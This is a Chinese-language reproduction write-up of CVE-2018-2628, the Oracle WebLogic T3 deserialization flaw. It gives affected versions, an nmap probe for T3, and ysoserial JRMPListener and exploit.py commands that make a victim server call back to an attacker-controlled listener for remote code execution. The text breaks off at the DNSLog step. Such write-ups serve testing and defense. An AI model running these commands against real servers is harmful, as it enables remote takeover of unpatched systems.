漏洞条件
- WebLogic开启T3协议服务
- Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
漏洞原理
Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。
具体分析:
CVE-2018-2628 WebLogic反序列化漏洞分析
漏洞利用
使用Nmap脚本探测T3服务
Nmap的weblogic-t3-info脚本可以探测WebLogic的T3服务是否开启:
nmap -n -v -p7001,7002 127.0.0.1 --script=weblogic-t3-info
这里探测目标环境7001端口是开启了T3服务的:
这里返回目标WebLogic的具体版本号为10.3.6.0以及开启了T3服务等信息,是存在T3反序列化漏洞的,接着进行漏洞复现。
代码执行
先在攻击者服务器通过ysoserial来启动一个JRMP服务端,这里使用CommonsCollections1这条Gadget进行反序列化利用,其中通过DNSLog外带验证:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,
[command]
即为我想执行的命令,而[listen port]
是JRMP Server监听的端口。
然后,使用这个exploit脚本向目标WebLogic服务器发送报文:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,
[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
。
DNSLog收到